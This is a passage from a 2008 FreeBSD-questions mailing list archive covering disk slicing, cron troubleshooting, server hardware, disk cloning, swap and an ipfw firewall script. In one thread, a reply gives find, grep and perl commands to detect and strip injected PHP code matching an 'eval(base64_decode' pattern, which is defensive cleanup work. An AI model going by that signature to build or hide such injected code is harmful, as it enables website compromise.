periodically (or on reboot, perhaps?) revert the disk's content to an earlier snapshot? -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 252 bytes Desc: OpenPGP digital signature Url : http://lists.freebsd.org/pipermail/freebsd-questions/attachments/20081204/0ab4724a/signature.pgp From aggelidis.news at gmail.com Thu Dec 4 07:02:25 2008 From: aggelidis.news at gmail.com (Aggelidis Nikos) Date: Thu Dec 4 07:02:32 2008 Subject: open multiple xterms with script In-Reply-To: <20081203143614.bd0ef0cc.freebsd@edvax.de> References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> <20081202093544.a5cb8a21.freebsd@edvax.de> <30fc78250812022358v1970b4f6x6a1d6b3c9ca8f0c8@mail.gmail.com> <20081203143614.bd0ef0cc.freebsd@edvax.de> Message-ID: <30fc78250812040702i76a27954m13891d5c1b51e7c9@mail.gmail.com> Thank you George and Polytropon that seems to do the trick... From roberthuff at rcn.com Thu Dec 4 07:46:27 2008 From: roberthuff at rcn.com (Robert Huff) Date: Thu Dec 4 07:46:34 2008 Subject: UFS partitioning In-Reply-To: <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> Message-ID: <18743.64331.385135.317523@jerusalem.litteratus.org> Da Rock writes: > > > Excuse my nose in here- I just have a couple of questions. > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > Yes. Can't remember the last time I used anything else. > > So you've never booted from a disk that has been partitioned as a file > system? I have never booted a FreeBSD system from a disk which contained any other operating system. I have only used "dangerously dadicated" mode for FreeBSD, except when sysinstall made selecting/implementing that too much work. Clear? Robert Huff From jerrymc at msu.edu Thu Dec 4 07:46:41 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Thu Dec 4 07:46:49 2008 Subject: UFS partitioning In-Reply-To: <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> Message-ID: <20081204154136.GA1366@gizmo.acns.msu.edu> On Thu, Dec 04, 2008 at 11:47:23AM +1000, Da Rock wrote: > > On Tue, 2008-12-02 at 11:39 -0500, Jerry McAllister wrote: > > On Tue, Dec 02, 2008 at 11:17:40AM +0100, Polytropon wrote: > > > > > On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > > > > If FreeBSD is to put on the system as only operating system (Fdisk: > > > > "A = Use Entire disk"), then will the BSD-partitions will show up as > > > > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? > > > > > > You're mixing terminology here. :-) The "use entire disk" will > > > create a slice for FreeBSD covering the complete disk. A slice > > > is what MICROS~1 calls "primary partition". > > > > > > Now the conclusion: Let's say you create a slice on ad0, it will > > > be ad0s1. Now you can create partitions inside this slice as you > > > mentioned it, e. g. ad0s1a = /, ad0s1b = swap, ad0s1d = /tmp, > > > ad0s1e = /var, ad0s1f = /usr and ad0s1g = /home. > > > > True. Too bad MS had to use the same terminology for slices > > as FreeBSD uses for subdivisions of slices. But, it won't be > > undone now, so the confusion will continue. > > > > > But if you're > > > refering to ad0a, ad0b, ad0d etc. you're stating that there's > > > no slice, implying that (if I see this correctly) it isn't possible > > > to boot from that disk. > > > > It is correct that this would imply no slice being created. > > But it is not correct that it could not be bootable. You can > > use bsdlabel to write the boot sector to ad0 instead of ad0s1 > > and it would be bootable - but would be what someone has enjoyed > > describing as a 'dangerously dedicated' disk. FreeBSD can deal > > with it, but other systems cannot. > > > > I don't know if you can do this from sysinstall though. I have > > never tried. But, it can be done by running bsdlabel by hand. > > > > > Of couse, if you would intend to use > > > a (physical) second disk for only the home partition, you could > > > omit the slice and the partition and simply newfs ad1 - but > > > that wasn't your question. > > > > Probably the 'dangerously dedicated' disk is more often used this > > way as an additional (second) drive that is not made bootable. > > > > In that case, it is unlikely that one would mount any of the > > partitions on '/' making it the root filesystem. That may > > be a problem. But, otherwise this looks probable or more likely > > it would have some swap to add to the first disk and all the > > rest in either the a or d partitions mounted as something > > like '/work' or /scratch'. > > > > > > > > ad0 |-----------------------------------------------| the whole disk > > > ad0s1 \----------------------------------------------/ one slice > > > ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions > > > a b d e f g > > > / swap /tmp /var /usr /home mount point > > Excuse my nose in here- I just have a couple of questions. > > 1) It IS possible to boot from a dedicated disk? Yes, as described above. > 2) Does using dedicated mode increase the space available to use? > Partitioning normally takes up space so a HDD loses about 10% of usable > space doesn't it, so the space used by partitioning is can now be used > as filespace. No. Slicing and Partitioning take up negligible space. Building a file system on the disk/slice/partition takes up a chunk. The most is taken up by an 8% (by default) reserve that is held back for root use when a file system is built. ////jerry > > These questions are all theoretical: I've only read in passing about > dedicated mode, but the use of this would be highly specialised by > extension. > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From jerrymc at msu.edu Thu Dec 4 07:54:26 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Thu Dec 4 07:54:33 2008 Subject: UFS partitioning In-Reply-To: <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> Message-ID: <20081204154923.GB1366@gizmo.acns.msu.edu> On Thu, Dec 04, 2008 at 12:57:45PM +1000, Da Rock wrote: > > On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > > Da Rock writes: > > > > > Excuse my nose in here- I just have a couple of questions. > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > Yes. Can't remember the last time I used anything else. > > So you've never booted from a disk that has been partitioned as a file > system? You are getting your terms scrambled here. Partitioning has nothing directly to do with creating a file system. You can build a filesystem (with newfs) on just about any piece of disk whether it is the whole disk, a slice of the disk or a partition of a slice. Making one of those divisions bootable is also pretty much an independant operation too, though as far as I know, only whole disks and slices can be made bootable but not partitions - the fact that the partition contains the system files is not what makes it bootable. Being bootable is dependant on the boot sector which gets the control from either the BIOS or an MBR and then finds the system partition (/), mounts it (Read Only) and finds system files and starts those things running. ////jerry > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From cboyd at gizmopartners.com Thu Dec 4 07:57:57 2008 From: cboyd at gizmopartners.com (Chris Boyd) Date: Thu Dec 4 07:58:03 2008 Subject: Installation on a Dell Poweredge R805 In-Reply-To: References: <31B0BD29-CAE5-452B-BB24-24ACC39FD2E6@gizmopartners.com> Message-ID: <3A1117D1-3857-4F45-984A-1CB1CACC133F@gizmopartners.com> On Dec 4, 2008, at 1:29 AM, Tim Judd wrote: > 1: PERC6 is not listed as supported, last time I checked. > 2: Dells are notorious for not working very well with !Windows, ! > Linux (haven't tried something like Open Solaris) > > I have a new PE2950's at the office, FreeBSD sees everything, > including the PERC6i controller, but the motherboard NICs are > suffering horribly bad for performance. Ping flood from the console > to it's own IP address bound to the NIC looses 30% of it's packets. > Also, what's "NIC2" on the motherboard/case labeling, is the first > NIC FreeBSD finds. NIC1 is the 2nd nic FreeBSD finds. Just oddities. Thanks, Tim. The R805 RAID is actually an LSI controller, supported by the mpt driver. The 7.1 version has some updates that make it work on this box. We're just down the road from Dell, so it's hard to avoid them :-) Agreed on the bce NIC. That NIC seems to be complete junk. It gives me fits no matter what OS drives it. In any case, for the archives, if you have an October 2008 or later production PE R805, you need to use FreeBSD 7.1 for an out of the box installation. --Chris From keramida at ceid.upatras.gr Thu Dec 4 09:34:26 2008 From: keramida at ceid.upatras.gr (Giorgos Keramidas) Date: Thu Dec 4 09:34:34 2008 Subject: what script is whacking root's files In-Reply-To: <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> (Derek Ragona's message of "Thu, 04 Dec 2008 06:30:13 -0600") References: <6.0.0.22.2.20081203192259.0241ef88@mail.computinginnovations.com> <49374418.6060709@FreeBSD.org> <6.0.0.22.2.20081204062415.026b7c80@mail.computinginnovations.com> Message-ID: <87tz9jzvy3.fsf@kobe.laptop> On Thu, 04 Dec 2008 06:30:13 -0600, Derek Ragona wrote: > /root is on /dev/da0s1a > > This particular server is running in a VM on a vmware esx 3.5 server. > The server runs fine, but every so often the dot files disappear for > root. I have not found the behavior to follow a reboot, but some period > of time. Hence my suspicions it was a periodic script. Check your crontab jobs then. * Do you have any local changes to the system crontab in `/etc/crontab'? If yes, what are those changes, and what do the scripts or other commands they run look like? * Do you have a user-specific crontab file for `root' in `/var/cron/tabs/root'? If yes what does it contain? From wojtek at wojtek.tensor.gdynia.pl Thu Dec 4 10:19:21 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Thu Dec 4 10:19:28 2008 Subject: UFS partitioning In-Reply-To: <18743.64331.385135.317523@jerusalem.litteratus.org> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <18743.64331.385135.317523@jerusalem.litteratus.org> Message-ID: <20081204191837.E54911@wojtek.tensor.gdynia.pl> > > I have never booted a FreeBSD system from a disk which > contained any other operating system. > I have only used "dangerously dadicated" mode for FreeBSD, > except when sysinstall made selecting/implementing that too much > work. almost like me except i don't use sysinstall, and manually i don't create slices From fernando.apesteguia at gmail.com Thu Dec 4 10:51:34 2008 From: fernando.apesteguia at gmail.com (=?ISO-8859-1?Q?Fernando_Apestegu=EDa?=) Date: Thu Dec 4 10:51:41 2008 Subject: Gnome slow at start up Message-ID: <1bd550a00812041051safe005bj8ee50bdf97583ae3@mail.gmail.com> Hi all, I'm running FreeBSD 7.1-BETA 2 and I have some problems with Gnome at start up. When I type startx, I get the gnome desktop and the nice border-less window in which I can see components loading. However, after the gnome-panel icon, it seems to stall. some time later (around a minute or two) nautilus seems to run and I get all the icons at my desktop. I have dbus_enable="YES" hald_enable="YES" in my rc.conf and I can see, both are running. I have the entries suggested in http://www.freebsd.org/gnome/docs/faq2.html#q20 added to my /etc/hosts and I can verify with ping that I don't have any problems with name resolution. I also have both net.inet.tcp.backhole and net.inet.udp.blackhole set to 0. What's the problem? How can I see which process is stalled during start up? Any help is appreciated. Thanks in advance. From tedm at toybox.placo.com Thu Dec 4 12:01:11 2008 From: tedm at toybox.placo.com (Ted Mittelstaedt) Date: Thu Dec 4 12:01:18 2008 Subject: mail server In-Reply-To: <4350a4b5$51c751bd$e80afc0$@com> Message-ID: > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Karlos Linale > Sent: Sunday, November 23, 2008 10:20 AM > To: freebsd-questions@freebsd.org > Subject: mail server > > > Hello, > > I was wondering if you could help me. > > For some reason I keep getting hundreds of emails on my mail server spool > which are being sent to your email address. Are you able to tell > me how and > why this is happening? > Google "Backscatter" Ted From jnatola at familycareintl.org Thu Dec 4 12:44:41 2008 From: jnatola at familycareintl.org (Jean-Paul Natola) Date: Thu Dec 4 12:44:48 2008 Subject: G4U inquiry Message-ID: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> Hi all, I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) to replace it as it is quite old and slow - My question is when I clone it with g4u where will the extra space go The drive is currently sliced like this Filesystem Size Used Avail Capacity Mounted on /dev/ad0s1a 496M 76M 381M 17% / devfs 1.0K 1.0K 0B 100% /dev /dev/ad0s1e 496M 11M 445M 3% /tmp /dev/ad0s1f 9.0G 1.4G 6.8G 17% /usr /dev/ad0s1d 1.4G 301M 1.0G 22% /var tia From perlcat at alltel.net Thu Dec 4 13:00:11 2008 From: perlcat at alltel.net (Tyson Boellstorff) Date: Thu Dec 4 13:00:19 2008 Subject: G4U inquiry In-Reply-To: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> References: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> Message-ID: <200812041500.09469.perlcat@alltel.net> On Thursday 04 December 2008 14:44:40 Jean-Paul Natola wrote: > I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) > to replace it as it is quite old and slow - > > My question is when I clone it with g4u where will the extra space go > it's in the faq. http://www.feyrer.de/g4u/#disks 5.4 A word on disk sizes The question how g4u deals with different disk sizes arises a lot too. The general answer is, g4u works best with identical disk sizes & geometry. Putting an image from a small disk on a big disk works, putting an image from a big disk to a small disk is likely to cause problems. If you cannot avoid preparing an image on a big disk that'll get deployed to a small disk later, make sure the "extra" space is not occupied by a active partition or filesystem, else data loss is very likely to occur! If you intend to deploy a "small" image to a "big" disk, the extra space that's not covered by g4u can be used for creating a partition and a filesystem. You will have to do that on your own, e.g. using your operating systems' post installation steps. From wojtek at wojtek.tensor.gdynia.pl Thu Dec 4 13:02:59 2008 From: wojtek at wojtek.tensor.gdynia.pl (Wojciech Puchar) Date: Thu Dec 4 13:03:07 2008 Subject: G4U inquiry In-Reply-To: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> References: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> Message-ID: <20081204220153.D55839@wojtek.tensor.gdynia.pl> > I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) > to replace it as it is quite old and slow - > > My question is when I clone it with g4u where will the extra space go why not simply partition new drive and copy everything? or use dd and then correct partiiton table unix has tools for this, much simpler much better and included ;) From jerrymc at msu.edu Thu Dec 4 13:20:29 2008 From: jerrymc at msu.edu (Jerry McAllister) Date: Thu Dec 4 13:20:37 2008 Subject: G4U inquiry In-Reply-To: <200812041500.09469.perlcat@alltel.net> References: <3A85D7EF44E1C744BF6434691F5659E9015E400A@www.fcimail.org> <200812041500.09469.perlcat@alltel.net> Message-ID: <20081204211523.GA2693@gizmo.acns.msu.edu> On Thu, Dec 04, 2008 at 03:00:09PM -0600, Tyson Boellstorff wrote: > On Thursday 04 December 2008 14:44:40 Jean-Paul Natola wrote: > > > I have a bsd box with a 12 gig drive- I'm going to get a new drive (larger) > > to replace it as it is quite old and slow - > > > > My question is when I clone it with g4u where will the extra space go > > Usually you are much better off creating new [slices and] partitions with new appropriate sizes, newfs-ing the partitions to turn them in to filesystems and then copying the previous disk filesystem by filesystem to the new disk - using dump/restore. Then you will not be stuck with geometry mismatches and wasted disk space. I have posted excruciatingly detailed instructions for this sort of things about every coupld of months on this list as other have asked. A little searching should find one. If not, I can give a basic rundown. ////jerry > > it's in the faq. > > http://www.feyrer.de/g4u/#disks > > 5.4 A word on disk sizes > > The question how g4u deals with different disk sizes arises a lot too. > The general answer is, g4u works best with identical disk sizes & geometry. > Putting an image from a small disk on a big disk works, putting an image from > a big disk to a small disk is likely to cause problems. > > If you cannot avoid preparing an image on a big disk that'll get > deployed to a small disk later, make sure the "extra" space is not occupied > by a active partition or filesystem, else data loss is very likely to occur! > > If you intend to deploy a "small" image to a "big" disk, the extra space > that's not covered by g4u can be used for creating a partition and a > filesystem. You will have to do that on your own, e.g. using your operating > systems' post installation steps. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" From ipfreak at yahoo.com Thu Dec 4 14:47:09 2008 From: ipfreak at yahoo.com (gahn) Date: Thu Dec 4 14:51:06 2008 Subject: Dell poweredge 2970 (AMD) Message-ID: <794434.77440.qm@web52105.mail.re2.yahoo.com> Hello, all: has anyone here ever installed freebsd on dell poweredge 2970 (amd)? Thanks From michael.copeland at gmail.com Thu Dec 4 15:22:51 2008 From: michael.copeland at gmail.com (michael) Date: Thu Dec 4 15:22:58 2008 Subject: Dell poweredge 2970 (AMD) In-Reply-To: <794434.77440.qm@web52105.mail.re2.yahoo.com> References: <794434.77440.qm@web52105.mail.re2.yahoo.com> Message-ID: <49386648.9090009@gmail.com> yes, but the components of yours will matter. perc5i/perc6i etc. i think 7.1 works on the perc6 unless you don't even have the perc crap anyway. gahn wrote: > Hello, all: > > has anyone here ever installed freebsd on dell poweredge 2970 (amd)? > > Thanks > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From frank at shute.org.uk Thu Dec 4 15:32:50 2008 From: frank at shute.org.uk (Frank Shute) Date: Thu Dec 4 15:32:59 2008 Subject: To swap or not to swap In-Reply-To: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> Message-ID: <20081204231623.GA47441@melon.esperance-linux.co.uk> On Tue, Dec 02, 2008 at 04:56:52PM +0000, Anthony M. Rasat wrote: > > Fellas, I need opinions. Asus Eee PC, SSD storage, 512MB RAM, with > GNOME and other desktop thingy (testing out of curiousity). > > > Question is, swap or no swap? Remember, this is SSD, it is > reasonable to have no swap. However, what if I wanted OpenOffice? > This beast is memory hog AFAIK. Thanks for opinions. > What you need to do to make an informed decision is to get the characteristics of the SSD. How many writes can each cell stand? Does it have any wear levelling firmware? I'd be tempted to have swap and if it starts to crap out, replace with bigger/better SSD which as things stand should have improved write durability. There are already (or coming out) new SSDs with improved write performance & wear levelling, which if the manufacturers are to be believed, out perform electro-mechanical HDs in durability As Wojciech says, I'd dump Gnome & use some lightweight WM like fluxbox so all your memory isn't sucked up & you start to go into swap. ie. hit swap as little as possible by your choice of softs (am glad I use LaTeX ;) The alternative to not having swap is a machine that on occasion could run out of memory. I don't know what happens in those circumstances but I doubt if it's pretty. > -- > > Regards, > Regards, -- Frank Contact info: http://www.shute.org.uk/misc/contact.html From gwg7webbcom at yahoo.com Thu Dec 4 16:32:45 2008 From: gwg7webbcom at yahoo.com (G magicman) Date: Thu Dec 4 16:32:52 2008 Subject: IPFW Firewall Question Message-ID: <916515.67967.qm@web52202.mail.re2.yahoo.com> 1.? I need help to reconfigure my firewall on the server using BSD's ipfw here is part of the configuration file so far that the Co-lo people put in. 2. short of a reboot how do you start stop and restart the? firewall #!/usr/local/bin/bash export IPF="ipfw -q add" ports="11 21 22 23 25 37 42 43 53 63 69 70 80 101 109 110 115 119 123 143 443 4321 50001" clearaddresses="209.131.0.0/16 66.65.0.0/16 71.173.96.0/19 71.173.128.0/17 blah blah" count=60 ipfw -q -f flush $IPF 10 allow all from any to any via lo0 $IPF 20 deny all from any to 127.0.0.0/8 $IPF 30 deny all from 127.0.0.0/8 to any $IPF 40 deny tcp from any to any frag $IPF 50 allow icmp from any to any for a in $clearaddresses; do ??????? $IPF $count allow ip from $a to any ??????? $IPF $(($count+1)) allow ip from any to $a ??????? count=$(($count+10)) done for p in $ports; do ??????? $IPF $count allow ip from any to any $p in ??????? $IPF $(($count+1)) allow ip from any to any $p out ??????? $IPF $(($count+2)) allow ip from any $p to any in ??????? $IPF $(($count+3)) allow ip from any $p to any out ??????? count=$(($count+10)) done $IPF 5000 deny log all from any to any echo Firewall created Here is what i want : 1. i want all ports open to the ipaddresses in line 4 "clearaddresses" 2. I want to be able to control access to port 25 sendmail to be able to deny ????? whole "A" "B" and "C" addresses Why because of the following: 1. Hosts.access? on freebsd works on the Application Layer instead of the Network Layer Therefore Hosts.allow/hosts.deny?? no longer works the way i want and i do not feel like running Sendmail and sshd out of Inetd which appearantly is the only way to be able to use hosts.allow/deny 2. Next openssh doesnot have an AllowHosts directive like the Finnish one does it only has an AllowUsers directive so i need to protect the system from DDOS attacks and Hacking I already tried to block things using the Sendmail Access file but all that did was choak up the server with moronic shit.? And i want to be able to use my sftp program but it opens random ports which can not be controlled so i need the Clearaddresses to be able to see all ports. From bruce at cran.org.uk Thu Dec 4 16:40:55 2008 From: bruce at cran.org.uk (Bruce Cran) Date: Thu Dec 4 16:41:04 2008 Subject: To swap or not to swap In-Reply-To: <20081204231623.GA47441@melon.esperance-linux.co.uk> References: <1822530854-1228237014-cardhu_decombobulator_blackberry.rim.net-916388807-@bxe1001.bisx.prodap.on.blackberry> <20081204231623.GA47441@melon.esperance-linux.co.uk> Message-ID: <20081204164048.1c3bf0fb@tau> On Thu, 4 Dec 2008 23:16:23 +0000 Frank Shute wrote: > The alternative to not having swap is a machine that on occasion could > run out of memory. I don't know what happens in those circumstances > but I doubt if it's pretty. FreeBSD behaves fairly nicely when it runs out of memory: when I last checked it killed off the memory hog, as one might expect. There's an argument that the memory hog might just be your important database or something and the right course of action would be to panic and make sure someone gets alerted to the fact the machine's run out of memory; however the current behaviour seems good to me. -- Bruce Cran From gwg7webbcom at yahoo.com Thu Dec 4 16:49:02 2008 From: gwg7webbcom at yahoo.com (G magicman) Date: Thu Dec 4 17:07:19 2008 Subject: Image Programs Message-ID: <592613.67715.qm@web52209.mail.re2.yahoo.com> Hello? does anyone know the following 1.? Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc.? i have all the 3d programs but not these 2 basic ones. Thank you From michael.copeland at gmail.com Thu Dec 4 17:34:58 2008 From: michael.copeland at gmail.com (michael) Date: Thu Dec 4 17:35:05 2008 Subject: Image Programs In-Reply-To: <592613.67715.qm@web52209.mail.re2.yahoo.com> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> Message-ID: <4938853F.9090909@gmail.com> G magicman wrote: > Hello does anyone know the following > > 1. Does Freebsd have a program like Photoshop avail to use a copy-left GNU license type ? and a form of Thumbsplus which allows me to do rudimentary picture manipulations changing file type, cropping etc. i have all the 3d programs but not these 2 basic ones. > > > Thank you > > > > gimp, imagemagick. > > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From chris at monochrome.org Thu Dec 4 17:43:35 2008 From: chris at monochrome.org (Chris Hill) Date: Thu Dec 4 17:43:42 2008 Subject: Image Programs In-Reply-To: <592613.67715.qm@web52209.mail.re2.yahoo.com> References: <592613.67715.qm@web52209.mail.re2.yahoo.com> Message-ID: <20081204203440.Q32170@tripel.monochrome.org> On Thu, 4 Dec 2008, G magicman wrote: > 1.? Does Freebsd have a program like Photoshop avail to use a > copy-left GNU license type ? and a form of Thumbsplus which allows me > to do rudimentary picture manipulations changing file type, cropping > etc.? i have all the 3d programs but not these 2 basic ones. "Like Photoshop", the best I can think of is the GIMP (/usr/ports/graphics/gimp or http://www.gimp.org/). I hear tell Photoshop is more capable, but I haven't used it in about 10 years so I don't really know. For basic editing (crop, resize, gamma, change file type) xv works just fine for me (/usr/ports/graphics/xv or http://www.trilon.com/xv/) BTW these are not part of FreeBSD, but developed and maintained by third parties. HTH. -- Chris Hill chris@monochrome.org ** [ Busy Expunging <|> ] From brett at net24.co.nz Thu Dec 4 17:54:10 2008 From: brett at net24.co.nz (Brett Davidson) Date: Thu Dec 4 17:54:18 2008 Subject: Is there anything weird I should know about using ipfw on alias addresses? In-Reply-To: <20081205003414.U60430@sola.nimnet.asn.au> References: <20081201120023.9E1821065688@hub.freebsd.org> <20081201233222.L34249@sola.nimnet.asn.au> <4934534D.1060100@net24.co.nz> <20081204012026.O60430@sola.nimnet.asn.au> <4937288A.5070106@net24.co.nz> <20081205003414.U60430@sola.nimnet.asn.au> Message-ID: <493889C3.6020503@net24.co.nz> Found the problem. Incorrect arp entry. Thanks for your help. Cheers, Brett. From af300wsm at gmail.com Thu Dec 4 20:30:21 2008 From: af300wsm at gmail.com (af300wsm@gmail.com) Date: Thu Dec 4 20:30:34 2008 Subject: Performance benchmarks pitting FreeBSD against Windows Message-ID: <0016e64ca7d690e38f045d45227d@google.com> Hi, I don't even know if this has been done before, nor do I know for sure if it's a sound comparison. Never the less, someone posted, in response to someone else here just a few days ago, some very nice benchmarks provided by Kris ?Kenneway? I could be wrong on the last name, it just seems to me that's a last name I've seen with Kris frequently (my apologies Kris if I'm wrong). Using the URL that the other poster, posted, I poked around the other *.html files in that directory, but did not find any with FreeBSD pitted against windows. I'm just curious to see how it looks for my own sanity's sake. At work, someone got the grand idea that we should move to Windoze embedded (CE and XPe) and it's been quite discouraging I must say, though I must admit, it's nice to actually know why Windows is ugly underneath. From a programming perspective, it's just not simplistic. Anyway, I digress, I'm just curious to see how things compare to Windows on similar benchmarks to what Kris provided if its ever been done. Thanks, Andy From rock_on_the_web at comcen.com.au Thu Dec 4 20:34:25 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Thu Dec 4 20:34:32 2008 Subject: UFS partitioning In-Reply-To: <20081204154923.GB1366@gizmo.acns.msu.edu> References: <20081202111740.96805018.freebsd@edvax.de> <20081202163920.GE90039@gizmo.acns.msu.edu> <1228355243.23645.10.camel@laptop1.herveybayaustralia.com.au> <18743.14461.951431.581673@jerusalem.litteratus.org> <1228359465.23645.27.camel@laptop1.herveybayaustralia.com.au> <20081204154923.GB1366@gizmo.acns.msu.edu> Message-ID: <1228413503.79750.8.camel@laptop2.herveybayaustralia.com.au> On Thu, 2008-12-04 at 10:49 -0500, Jerry McAllister wrote: > On Thu, Dec 04, 2008 at 12:57:45PM +1000, Da Rock wrote: > > > > > On Wed, 2008-12-03 at 20:55 -0500, Robert Huff wrote: > > > Da Rock writes: > > > > > > > Excuse my nose in here- I just have a couple of questions. > > > > > > > > 1) It IS possible to boot from a dedicated disk? > > > > > > Yes. Can't remember the last time I used anything else. > > > > So you've never booted from a disk that has been partitioned as a file > > system? > > You are getting your terms scrambled here. > Partitioning has nothing directly to do with creating a file system. > You can build a filesystem (with newfs) on just about any piece > of disk whether it is the whole disk, a slice of the disk or a partition > of a slice. > > Making one of those divisions bootable is also pretty much an > independant operation too, though as far as I know, only whole > disks and slices can be made bootable but not partitions - the > fact that the partition contains the system files is not what > makes it bootable. Being bootable is dependant on the boot sector > which gets the control from either the BIOS or an MBR and then finds > the system partition (/), mounts it (Read Only) and finds system files > and starts those things running. Yes, I would say I'm getting my terms mixed up- fortunately the actual reality is clear in my head (hard as that is to believe..). I have only one more question then: Why would you use "dangerously dedicated mode" at all? I can only see where it might be useful for files, no advantage to being a boot sector. It was some time ago that I read up on all this, but what I remembered was that BSD could use a dedicated disk- but only BSD could read and write from it and this is dangerous. Maybe what I was reading was regarding bootable and that was considered dangerous... At any rate I'm very clear now. Thanks for all the information guys- cheers From fbsd.questions at rachie.is-a-geek.net Thu Dec 4 20:51:48 2008 From: fbsd.questions at rachie.is-a-geek.net (Mel) Date: Thu Dec 4 20:51:55 2008 Subject: Mass find/replace... In-Reply-To: <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> References: <002b01c95609$ed0c7200$c7255600$@wakefield.sch.uk> <1228395500.2781.41.camel@frodon.be-bif.ulb.ac.be> Message-ID: <200812050551.32850.fbsd.questions@rachie.is-a-geek.net> On Thursday 04 December 2008 13:58:20 Julien Cigar wrote: > the following should work : > $ find /home/horbury -type f -print0 | xargs -0 grep 'base64_decode' > or : > $ find /home/horbury -type f -exec grep 'base64_decode' {} \; + not \; or you will fork on every result. Additionally, is this injected code one long string or broken down by the mailer? Grep isn't the best way to deal with it. It's pretty easy to correct with perl, bit trickier if it's multiline, still not too hard: find /home/horbury -type f -exec \ perl -pi.bak -e 's,<\?/\*\*/eval\(base64_decode\(.*?\?>,,s' {} + The originals will end up as filename.php.bak. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From rock_on_the_web at comcen.com.au Thu Dec 4 20:52:08 2008 From: rock_on_the_web at comcen.com.au (Da Rock) Date: Thu Dec 4 20:52:18 2008 Subject: FreeBSD 7.0 problems In-Reply-To: <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> References: <1228356394.23645.24.camel@laptop1.herveybayaustralia.com.au> <200812040944.38210.fbsd.questions@rachie.is-a-geek.net> Message-ID: <1228416719.79750.25.camel@laptop2.herveybayaustralia.com.au> On Thu, 2008-12-04 at 09:44 +0100, Mel wrote: > On Thursday 04 December 2008 03:06:34 Da Rock wrote: > > I have just installed FreeBSD 7.0 on a laptop I just cleaned up. It used > > to run Fedora linux (I have a tv card which used to work on it, but now > > I can't get the drivers to work again), and it got very cluttered and > > started getting issues. The hardware is fine though- it just returned > > from servicing under warranty and nearly every component was replaced. > > Ergo I can't fault the hardware in any way. > > > > I tried FreeBSD 7.0 before, but it wasn't working properly for me and I > > didn't have the time then to get all the reports to make a PR. > > > > Now, I decided to sort this out- finally! The issues I'm having are > > similar to before, but not quite the same (keeping in mind that I didn't > > take much time with it before). They are: > > > > The wifi driver complains of timeout errors. (Intel iwi 2200bg - last > > time I tried had a ralink wifi) > > Xorg has DRI errors - fills /var and tries to kill the whole system (I'm > > probably exaggerating, but it felt like it at least) > > dhclient loses the IP constantly. > > > > So: How do I present these issues for review? What information is > > needed? Anything I've missed? > > > > This is the first time I've had to do this (which I think is pretty > > good- goes to show how well the OS is built), so I'm a little green in > > this regard. > > For starters: > * dmesg Copyright (c) 1992-2008 